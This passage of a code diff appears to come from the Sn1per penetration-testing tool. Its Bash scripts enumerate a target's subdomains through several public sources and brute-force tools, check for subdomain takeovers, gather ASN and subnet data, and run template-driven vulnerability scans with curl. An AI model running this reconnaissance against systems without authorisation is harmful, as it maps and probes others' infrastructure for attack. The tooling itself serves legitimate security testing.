+    awk '{print $3}' $LOOT_DIR/domains/shodan-$TARGET.txt 2> /dev/null | grep -v "\;" > $LOOT_DIR/domains/domains-$TARGET-shodan-sorted.txt 2> /dev/null
+    awk '{print $1}' $LOOT_DIR/domains/shodan-$TARGET.txt 2> /dev/null >> $LOOT_DIR/ips/ips-all-unsorted.txt 2>/dev/null
+    wc -l $LOOT_DIR/domains/domains-$TARGET-shodan-sorted.txt 2> /dev/null
+    wc -l $LOOT_DIR/ips/ips-all-unsorted.txt 2> /dev/null
+  fi
+  if [[ "$PROJECT_SONAR" = "1" ]]; then
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED GATHERING PROJECT SONAR SUBDOMAINS $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    curl -fsSL "https://dns.bufferover.run/dns?q=.$TARGET" | sed 's/\"//g' | cut -f2 -d "," | grep -v "<BR>" | sort -u | grep $TARGET > $LOOT_DIR/domains/domains-$TARGET-projectsonar.txt 2> /dev/null
+    wc -l $LOOT_DIR/domains/domains-$TARGET-projectsonar.txt 2> /dev/null
+  fi
+  if [[ "$GITHUB_SUBDOMAINS" = "1" ]]; then
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED GATHERING GITHUB SUBDOMAINS $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    python3 /usr/share/sniper/bin/github-subdomains.py -t $GITHUB_API_TOKEN -d $TARGET $LOOT_DIR/domains/domains-$TARGET-github.txt 2> /dev/null
+  fi
+  if [[ "$RAPIDDNS" = "1" ]]; then
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED GATHERING RAPIDDNS SUBDOMAINS $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    curl -s "https://rapiddns.io/subdomain/$TARGET?full=1&down=1#exportData()" | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*" | sort -u | grep "$TARGET" | cut -d\/ -f3 2> /dev/null > $LOOT_DIR/domains/domains-$TARGET-rapiddns.txt 2> /dev/null
+  fi
+  cat $LOOT_DIR/domains/domains-$TARGET-crt.txt 2> /dev/null > $LOOT_DIR/domains/domains-$TARGET-presorted.txt 2> /dev/null
+  cat $LOOT_DIR/domains/domains-$TARGET-spyse.txt /dev/null >> $LOOT_DIR/domains/domains-$TARGET-presorted.txt 2> /dev/null
+  cat $LOOT_DIR/domains/domains-$TARGET.txt 2> /dev/null >> $LOOT_DIR/domains/domains-$TARGET-presorted.txt 2> /dev/null
+  cat $LOOT_DIR/domains/domains-$TARGET-amass-sorted.txt 2> /dev/null >> $LOOT_DIR/domains/domains-$TARGET-presorted.txt 2> /dev/null
+  cat $LOOT_DIR/domains/domains-$TARGET-subfinder.txt 2> /dev/null >> $LOOT_DIR/domains/domains-$TARGET-presorted.txt 2> /dev/null
+  cat $LOOT_DIR/domains/domains-$TARGET-projectsonar.txt 2> /dev/null >> $LOOT_DIR/domains/domains-$TARGET-presorted.txt 2> /dev/null
+  cat $LOOT_DIR/domains/domains-$TARGET-censys.txt 2> /dev/null >> $LOOT_DIR/domains/domains-$TARGET-presorted.txt 2> /dev/null
+  cat $LOOT_DIR/domains/domains-$TARGET-shodan-sorted.txt 2>/dev/null >> $LOOT_DIR/domains/domains-$TARGET-presorted.txt 2> /dev/null
+  cat $LOOT_DIR/domains/domains-$TARGET-github.txt 2> /dev/null >> $LOOT_DIR/domains/domains-$TARGET-presorted.txt 2> /dev/null
+  cat $LOOT_DIR/domains/domains-$TARGET-rapiddns.txt 2> /dev/null >> $LOOT_DIR/domains/domains-$TARGET-presorted.txt 2> /dev/null
+  cat $LOOT_DIR/domains/targets.txt 2> /dev/null >> $LOOT_DIR/domains/domains-$TARGET-presorted.txt 2> /dev/null
+  sed -i '/^$/d' $LOOT_DIR/domains/domains-$TARGET-presorted.txt 2> /dev/null
+  sed -i '/^$/d' $LOOT_DIR/domains/domains-$TARGET.txt 2> /dev/null
+  cat $LOOT_DIR/domains/domains-$TARGET.txt 2> /dev/null | grep -v "*" | grep -v "?" 2> /dev/null > $LOOT_DIR/domains/domains-$TARGET-presorted-nowildcards.txt
+  wc -l $LOOT_DIR/domains/domains-$TARGET.txt 2> /dev/null
+  if [[ "$SUBBRUTE_DNS" = "1" ]]; then
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED GATHERING SUBBRUTE SUBDOMAINS $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    python3 "$INSTALL_DIR/plugins/massdns/scripts/subbrute.py" $INSTALL_DIR/wordlists/domains-all.txt $TARGET 2> /dev/null > $LOOT_DIR/domains/domains-$TARGET-subbrute.txt 2> /dev/null
+    wc -l $LOOT_DIR/domains/domains-$TARGET-subbrute.txt 2> /dev/null
+  fi
+  if [[ "$ALT_DNS" = "1" ]]; then
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED GATHERING ALTDNS SUBDOMAINS $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo "$TARGET" > /tmp/domain 2> /dev/null
+    altdns -i /tmp/domain -w $INSTALL_DIR/wordlists/altdns.txt -o $LOOT_DIR/domains/domains-$TARGET-altdns.txt 2> /dev/null 
+    wc -l $LOOT_DIR/domains/domains-$TARGET-altdns.txt 2> /dev/null
+  fi
+  if [[ "$DNSGEN" = "1" ]]; then
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED GATHERING DNSGEN SUBDOMAINS $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    dnsgen /tmp/domain > $LOOT_DIR/domains/domains-$TARGET-dnsgen.txt 2> /dev/null 
+    wc -l $LOOT_DIR/domains/domains-$TARGET-dnsgen.txt 2> /dev/null
+  fi
+  if [[ "$MASS_DNS" = "1" ]]; then
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED RUNNING MASSDNS ON SUBDOMAINS $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    sort -u $LOOT_DIR/domains/domains-$TARGET-presorted-nowildcards.txt $LOOT_DIR/domains/domains-$TARGET-dnsgen.txt $LOOT_DIR/domains/domains-$TARGET-altdns.txt $LOOT_DIR/domains/domains-$TARGET-subbrute.txt 2> /dev/null > $LOOT_DIR/domains/domains-$TARGET-alldns.txt 2> /dev/null 
+    wc -l $LOOT_DIR/domains/domains-$TARGET-alldns.txt 2> /dev/null
+    massdns -r /usr/share/sniper/plugins/massdns/lists/resolvers.txt $LOOT_DIR/domains/domains-$TARGET-alldns.txt -o S -t A -w $LOOT_DIR/domains/domains-$TARGET-massdns.txt > /dev/null
+    awk -F ". " '{print $1}' $LOOT_DIR/domains/domains-$TARGET-massdns.txt 2> /dev/null | grep -v "*" | sort -u > $LOOT_DIR/domains/domains-$TARGET-massdns-sorted.txt 2> /dev/null
+    wc -l $LOOT_DIR/domains/domains-$TARGET-massdns-sorted.txt 2> /dev/null
+    cat $LOOT_DIR/domains/domains-$TARGET-massdns-sorted.txt 2> /dev/null >> $LOOT_DIR/domains/domains-$TARGET-presorted.txt 2> /dev/null
+    #grep "CNAME" $LOOT_DIR/domains/domains-$TARGET-massdns.txt | awk '{print $3}' | grep -v "*" | sort -u > $LOOT_DIR/domains/domains-$TARGET-massdns-CNAME.txt
+    #wc -l $LOOT_DIR/domains/domains-$TARGET-massdns-CNAME.txt
+    #grep "A " $LOOT_DIR/domains/domains-$TARGET-massdns.txt | awk '{print $3}' | grep -v "*" | sort -u > $LOOT_DIR/ips/massdns-A-records-$TARGET.txt
+    #wc -l $LOOT_DIR/ips/massdns-A-records-$TARGET.txt
+    #cat $LOOT_DIR/ips/massdns-A-records-$TARGET.txt >> $LOOT_DIR/ips/ips-all-unsorted.txt 2> /dev/null
+    #wc -l $LOOT_DIR/ips/ips-all-unsorted.txt
+  fi
+  cat $LOOT_DIR/domains/domains-$TARGET-presorted.txt $LOOT_DIR/domains/domains-$TARGET-massdns-sorted.txt 2> /dev/null | sort -u 2> /dev/null > $LOOT_DIR/domains/domains-$TARGET-full.txt
+  sed -ie 's/<BR>/\n/g' $LOOT_DIR/domains/domains-$TARGET-full.txt 2> /dev/null
+  mv -f $LOOT_DIR/domains/domains-$TARGET-full.txte $LOOT_DIR/domains/domains-$TARGET-full.txt 2> /dev/null
+  wc -l $LOOT_DIR/domains/domains-$TARGET-full.txt 2> /dev/null
+  cat $LOOT_DIR/domains/domains-$TARGET-full.txt >> $LOOT_DIR/scans/updated.txt 2> /dev/null
+  #rm -f $LOOT_DIR/domains/domains-$TARGET-presorted.txt 2> /dev/null
+  diff $LOOT_DIR/domains/domains_old-$TARGET.txt $LOOT_DIR/domains/domains-$TARGET-full.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{print $2}' 2> /dev/null > $LOOT_DIR/domains/domains_new-$TARGET.txt
+  echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+  echo -e "$OKRED NEW SUBDOMAINS $RESET"
+  echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+  wc -l $LOOT_DIR/domains/domains_new-$TARGET.txt 2> /dev/null
+  cat $LOOT_DIR/domains/domains_new-$TARGET.txt 2> /dev/null
+
+  if [[ $(wc -c $LOOT_DIR/domains/domains_new-$TARGET.txt 2> /dev/null | awk '{print $1}') > 3 ]]; then
+    echo "[sn1persecurity.com] •?((¯°·._.• New domains detected on $TARGET (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
+    cat $LOOT_DIR/domains/domains_new-$TARGET.txt 2> /dev/null >> $LOOT_DIR/scans/notifications_new.txt 2> /dev/null 
+    if [[ "$SLACK_NOTIFICATIONS_DOMAINS_NEW" == "1" ]]; then
+      /bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• New domains detected on $TARGET (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
+      /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/domains/domains_new-$TARGET.txt"
+    fi
+  fi
+  echo -e "$RESET"
+  if [[ "$STATIC_GREP_SEARCH" = "1" ]]; then
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED DISPLAYING INTERESTING DOMAINS SEARCH $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    egrep -iE "GREP_INTERESTING_SUBDOMAINS" $LOOT_DIR/domains/domains-$TARGET-full.txt 2> /dev/null | tee $LOOT_DIR/domains/domains_interesting-$TARGET.txt | head -n "$GREP_MAX_LINES"
+  fi
+  if [[ "$SUBHIJACK_CHECK" = "1" ]]; then
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED CHECKING FOR CNAME SUBDOMAIN HIJACKING $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    grep -h "CNAME" $LOOT_DIR/nmap/takeovers-* 2>/dev/null | sort -u 2> /dev/null > $LOOT_DIR/nmap/takeovers_old-all.txt
+    dig $TARGET CNAME | egrep -i "netlify|anima|bitly|wordpress|instapage|heroku|github|bitbucket|squarespace|fastly|feed|fresh|ghost|helpscout|helpjuice|instapage|pingdom|surveygizmo|teamwork|tictail|shopify|desk|teamwork|unbounce|helpjuice|helpscout|pingdom|tictail|campaign|monitor|cargocollective|statuspage|tumblr|amazon|hubspot|modulus|unbounce|uservoice|wpengine|cloudapp" | tee $LOOT_DIR/nmap/takeovers-$TARGET.txt 2>/dev/null
+    for a in `cat $LOOT_DIR/domains/domains-$TARGET-full.txt`; do dig $a CNAME | egrep -i "netlify|wordpress|instapage|heroku|github|bitbucket|squarespace|fastly|feed|fresh|ghost|helpscout|helpjuice|instapage|pingdom|surveygizmo|teamwork|tictail|shopify|desk|teamwork|unbounce|helpjuice|helpscout|pingdom|tictail|campaign|monitor|cargocollective|statuspage|tumblr|amazon|hubspot|modulus|unbounce|uservoice|wpengine|cloudapp" | tee $LOOT_DIR/nmap/takeovers-$a.txt 2>/dev/null; done;
+    grep -h "CNAME" $LOOT_DIR/nmap/takeovers-* 2>/dev/null | sort -u 2> /dev/null | awk '{print $1 " " $4 " " $5}' | grep CNAME | sort -u > $LOOT_DIR/nmap/takeovers_new-all.txt
+    diff $LOOT_DIR/nmap/takeovers_old-all.txt $LOOT_DIR/nmap/takeovers_new-all.txt 2> /dev/null | grep "> " | awk '{print $2 " " $3 " " $4}' | sort -u > $LOOT_DIR/nmap/takeovers_new-diff.txt 2> /dev/null
+    if [[ "$SLACK_NOTIFICATIONS_TAKEOVERS_NEW" == "1" ]]; then
+      /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/takeovers_new-diff.txt"
+    fi
+  fi
+  if [[ "$SUBOVER" = "1" ]]; then
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED STARTING SUBOVER HIJACKING SCAN $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    cp $LOOT_DIR/nmap/subover-$TARGET.txt $LOOT_DIR/nmap/subover_old-$TARGET.txt 2> /dev/null
+    cd ~/go/src/github.com/Ice3man543/SubOver
+    subover -l $LOOT_DIR/domains/domains-$TARGET-full.txt | tee $LOOT_DIR/nmap/subover-$TARGET 2>/dev/null
+    sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/nmap/subover-$TARGET > $LOOT_DIR/nmap/subover-$TARGET.txt 2> /dev/null
+    rm -f $LOOT_DIR/nmap/subover-$TARGET 2> /dev/null
+    diff $LOOT_DIR/nmap/subover_old-$TARGET.txt $LOOT_DIR/nmap/subover-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{$1=""; print $0}' 2> /dev/null > $LOOT_DIR/nmap/subover_new-$TARGET.txt
+    if [[ "$SLACK_NOTIFICATIONS_SUBOVER_NEW" == "1" ]]; then
+      /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/subover_new-$TARGET.txt"
+    fi
+    cd $INSTALL_DIR
+  fi
+  if [[ "$SUBJACK" = "1" ]]; then
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED STARTING SUBJACK HIJACKING SCAN $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    cp $LOOT_DIR/nmap/subjack-$TARGET.txt $LOOT_DIR/nmap/subjack_old-$TARGET.txt 2> /dev/null
+    ~/go/bin/subjack -w $LOOT_DIR/domains/domains-$TARGET-full.txt -c ~/go/src/github.com/haccer/subjack/fingerprints.json -t $THREADS -timeout 30 -o $LOOT_DIR/nmap/subjack-$TARGET.txt -a -v | egrep -v "Not Vulnerable"
+    diff $LOOT_DIR/nmap/subjack_old-$TARGET.txt $LOOT_DIR/nmap/subjack-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{$1=""; print $0}' 2> /dev/null > $LOOT_DIR/nmap/subjack_new-$TARGET.txt
+    if [[ "$SLACK_NOTIFICATIONS_SUBJACK_NEW" == "1" ]]; then
+      /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/subjack_new-$TARGET.txt"
+    fi
+  fi
+  if [[ "$ASN_CHECK" = "1" ]]; then
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED RETRIEVING ASN INFO $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    cd $LOOT_DIR/ips/ 2>/dev/null
+    asnip -t $TARGET | tee $LOOT_DIR/ips/asn-$TARGET.txt 2>/dev/null
+    mv $LOOT_DIR/ips/cidrs.txt $LOOT_DIR/ips/cidrs-$TARGET.txt 2>/dev/null
+    mv $LOOT_DIR/ips/ips.txt $LOOT_DIR/ips/ips-$TARGET.txt 2> /dev/null 
+    cd $INSTALL_DIR 2>/dev/null 
+  fi
+  if [[ "$SUBNET_RETRIEVAL" = "1" ]]; then
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED STARTING SUBNET RETRIEVAL $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    curl -s -L --data "ip=$TARGET" https://2ip.me/en/services/information-service/provider-ip\?a\=act | grep -o -E '[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}/[0-9]{1,2}' | tee $LOOT_DIR/ips/subnets-$TARGET.txt
+    if [[ "$SLACK_NOTIFICATIONS_SUBNETS" == "1" ]]; then
+      /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/ips/subnets-$TARGET.txt"
+    fi
+  fi
+  if [[ "$SCAN_ALL_DISCOVERED_DOMAINS" = "1" ]]; then
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED STARTING FLYOVER SCAN OF ALL DOMAINS $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    sniper -f $LOOT_DIR/domains/domains-$TARGET-full.txt -m flyover -w $WORKSPACE
+  fi
+  echo "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [recon] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
+  if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
+    /bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [recon] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
+  fi
+fi

modes/sc0pe-active-webscan.sh

@@ -0,0 +1,18 @@
+        for file in `ls $INSTALL_DIR/templates/active/*.sh 2> /dev/null`; do
+            source $file
+            OUTPUT_NAME=$(echo $VULN_NAME | sed -E 's/[^[:alnum:]]+/_/g')
+            if [[ "$SSL" == "true" ]]; then
+                if [[ -z "$PORT" ]]; then
+                    PORT="443"
+                fi
+                rm -f "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-https-$PORT-$OUTPUT_NAME.txt" 2> /dev/null
+                curl --connect-timeout 3 --max-time 5 -k -X $METHOD $CURL_OPTS "https://${TARGET}:${PORT}${URI}" 2> /dev/null | egrep $GREP_OPTIONS "$MATCH" $SECONDARY_COMMANDS 2> /dev/null >/tmp/${TARGET}_${OUTPUT_NAME}.out && echo "$SEVERITY, $VULN_NAME,https://${TARGET}:${PORT}${URI},$(head -n 1 /tmp/${TARGET}_${OUTPUT_NAME}.out | sed -r "s/</\&lh\;/g")" | tee "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-https-$PORT-$OUTPUT_NAME.txt" 2> /dev/null && echo "[sn1persecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: https://${TARGET}:${PORT}${URI} - EVIDENCE: $(cat /tmp/${TARGET}_${OUTPUT_NAME}.out | sed -r "s/</\&lh\;/g") (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt 2> /dev/null 
+            else
+                if [[ -z "$PORT" ]]; then
+                    PORT="80"
+                fi
+                rm -f "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-http-$PORT-$OUTPUT_NAME.txt" 2> /dev/null
+                curl --connect-timeout 3 --max-time 5 -k -X $METHOD $CURL_OPTS "http://${TARGET}:${PORT}${URI}" 2> /dev/null | egrep $GREP_OPTIONS "$MATCH" $SECONDARY_COMMANDS 2> /dev/null >/tmp/${TARGET}_${OUTPUT_NAME}.out && echo "$SEVERITY, $VULN_NAME,http://${TARGET}:${PORT}${URI},$(head -n 1 /tmp/${TARGET}_${OUTPUT_NAME}.out | sed -r "s/</\&lh\;/g")" | tee "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-http-$PORT-$OUTPUT_NAME.txt" 2> /dev/null && echo "[sn1persecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: http://${TARGET}:${PORT}${URI} - EVIDENCE: $(cat /tmp/${TARGET}_${OUTPUT_NAME}.out | sed -r "s/</\&lh\;/g") (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt 2> /dev/null
+            fi
+            rm -f /tmp/${TARGET}_${OUTPUT_NAME}.out 2> /dev/null
+        done

modes/sc0pe-network-scan.sh

@@ -0,0 +1,20 @@
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+	    echo -e "$OKRED RUNNING SC0PE NETWORK VULNERABILITY SCAN $RESET"
+	    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+        for file in `ls $INSTALL_DIR/templates/passive/network/*.sh 2> /dev/null`; do
+          source $file
+          OUTPUT_NAME=$(echo $VULN_NAME | sed -E 's/[^[:alnum:]]+/_/g')
+          if [[ "$SEARCH" == "negative" ]]; then
+            rm -f "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-$OUTPUT_NAME.txt" 2> /dev/null
+            cat $FILENAME 2> /dev/null | egrep $GREP_OPTIONS "$MATCH" $SECONDARY_COMMANDS 2> /dev/null >/tmp/${TARGET}_${OUTPUT_NAME}.out || echo "$SEVERITY, $VULN_NAME, $TARGET, $(head -n 1 /tmp/${TARGET}_${OUTPUT_NAME}.out | sed -r "s/</\&lh\;/g")" | tee "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-$OUTPUT_NAME.txt" 2> /dev/null && echo "[sn1persecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - $TARGET - EVIDENCE: $(head -n 1 /tmp/${TARGET}_${OUTPUT_NAME}.out | sed -r "s/</\&lh\;/g") (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt 2> /dev/null
+          else
+            rm -f "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-$OUTPUT_NAME.txt" 2> /dev/null
+            cat $FILENAME 2> /dev/null | egrep $GREP_OPTIONS "$MATCH" $SECONDARY_COMMANDS 2> /dev/null >/tmp/${TARGET}_${OUTPUT_NAME}.out && echo "$SEVERITY, $VULN_NAME, $TARGET, $(head -n 1 /tmp/${TARGET}_${OUTPUT_NAME}.out | sed -r "s/</\&lh\;/g")" | tee "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-$OUTPUT_NAME.txt" 2> /dev/null && echo "[sn1persecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - $FILENME - EVIDENCE: $(head -n 1 /tmp/${TARGET}_${OUTPUT_NAME}.out | sed -r "s/</\&lh\;/g") (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt 2> /dev/null
+          fi
+          rm -f /tmp/${TARGET}_${OUTPUT_NAME}.out 2> /dev/null
+        done
+
+        for file in `ls $INSTALL_DIR/templates/passive/network/recursive/*.sh 2> /dev/null`; do
+          source $file
+        done
+	    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"

modes/sc0pe-passive-webscan.sh

@@ -0,0 +1,38 @@
+            for file in `ls $INSTALL_DIR/templates/passive/web/*.sh 2> /dev/null`; do
+                  source $file
+                  OUTPUT_NAME=$(echo $VULN_NAME | sed -E 's/[^[:alnum:]]+/_/g')
+                  if [[ "$SEARCH" == "negative" ]]; then
+                        if [[ "$SSL" == "true" ]]; then
+                            if [[ -z "$PORT" ]]; then
+                                PORT="443"
+                            fi
+                            rm -f "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-https-$OUTPUT_NAME.txt" 2> /dev/null
+                            cat $FILENAME 2> /dev/null | egrep $GREP_OPTIONS "$MATCH" $SECONDARY_COMMANDS 2> /dev/null >/tmp/${TARGET}_${OUTPUT_NAME}.out || echo "$SEVERITY, $VULN_NAME, https://$TARGET:$PORT/$URI, $(head -n 1 /tmp/${TARGET}_${OUTPUT_NAME}.out | sed -r "s/</\&lh\;/g")" | tee "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-https-$OUTPUT_NAME.txt" 2> /dev/null && echo "[sn1persecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: $TARGET:$PORT/$URI - EVIDENCE: $(head -n 1 /tmp/${TARGET}_${OUTPUT_NAME}.out | sed -r "s/</\&lh\;/g") (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt 2> /dev/null 
+                        else
+                            if [[ -z "$PORT" ]]; then
+                                PORT="80"
+                            fi
+                            rm -f "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-http-$OUTPUT_NAME.txt" 2> /dev/null
+                            cat $FILENAME 2> /dev/null | egrep $GREP_OPTIONS "$MATCH" $SECONDARY_COMMANDS 2> /dev/null >/tmp/${TARGET}_${OUTPUT_NAME}.out || echo "$SEVERITY, $VULN_NAME, http://$TARGET:$PORT/$URI, $(head -n 1 /tmp/${TARGET}_${OUTPUT_NAME}.out | sed -r "s/</\&lh\;/g")" | tee "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-http-$OUTPUT_NAME.txt" 2> /dev/null &&  echo "[sn1persecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: http://$TARGET:$PORT/$URI - EVIDENCE: $(head -n 1 /tmp/${TARGET}_${OUTPUT_NAME}.out | sed -r "s/</\&lh\;/g") (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt 2> /dev/null
+                        fi
+                  else
+                        if [[ "$SSL" == "true" ]]; then
+                            if [[ -z "$PORT" ]]; then
+                                PORT="443"
+                            fi
+                            rm -f "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-https-$OUTPUT_NAME.txt" 2> /dev/null
+                            cat $FILENAME 2> /dev/null | egrep $GREP_OPTIONS "$MATCH" $SECONDARY_COMMANDS 2> /dev/null >/tmp/${TARGET}_${OUTPUT_NAME}.out && echo "$SEVERITY, $VULN_NAME, https://$TARGET:$PORT/$URI, $(head -n 1 /tmp/${TARGET}_${OUTPUT_NAME}.out | sed -r "s/</\&lh\;/g")" | tee "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-https-$OUTPUT_NAME.txt" 2> /dev/null && echo "[sn1persecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: $TARGET:$PORT/$URI - EVIDENCE: $(head -n 1 /tmp/${TARGET}_${OUTPUT_NAME}.out | sed -r "s/</\&lh\;/g") (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt 2> /dev/null 
+                        else
+                            if [[ -z "$PORT" ]]; then
+                                PORT="80"
+                            fi
+                            rm -f "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-http-$OUTPUT_NAME.txt" 2> /dev/null
